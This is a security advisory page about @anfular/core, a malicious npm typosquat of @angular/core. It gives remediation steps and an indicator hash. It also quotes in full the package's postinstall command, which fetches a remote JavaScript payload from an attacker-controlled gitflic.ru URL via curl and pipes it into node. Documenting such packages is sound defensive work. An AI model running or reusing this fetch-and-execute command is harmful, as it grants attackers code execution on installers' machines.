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Malicious package

@anfular/corenpm

Advisory published Updated

@anfular/core is a confirmed malicious npm package (MAL-2026-17533) that typosquats a legitimate package to trick installs (malicious version 22.2.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @anfular/core (npm)

MAL-2026-17533
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall @anfular/core

What this malware does

Package @anfular/[email protected] is a one-character typosquat of @angular/core, with manifest fields impersonating the official Angular package (scope @anfular, description 'Angular - the core framework', author 'angular', repository pointing at github.com/angular/angular). The package.json postinstall script runs 'curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node', downloading an unpinned JavaScript payload from an attacker-controlled gitflic.ru URL (fronted by a web.archive.org wrapper) and piping it directly into node for execution on the installer's machine at npm install time. The fetched code is unverified, unpinned, hosted off any official registry or publisher-matched domain, and executed with the installer's privileges, giving the author arbitrary code execution on every machine that installs the package.

Malicious versions

1 flagged
22.2.1

Indicators of compromise (SHA-256)

eefc706854c122c96c898da5d4db285f26e31430f25451e5d1073a31db5e5341

Detection & response playbook

Typosquat
  1. Find it

    Search your lockfiles and build artifacts for @anfular/core (version 22.2.1).

  2. If you installed it — respond

    @anfular/core is a typosquat — you almost certainly intended a legitimately-named package. Remove @anfular/core, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

  3. Did it already run?

    If @anfular/core was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. @anfular/core on npm has been identified as a malicious package (version 22.2.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020986

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks @anfular/core-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore

@anfular/core (npm) malicious package — MAL-2026-17533 | O3 Security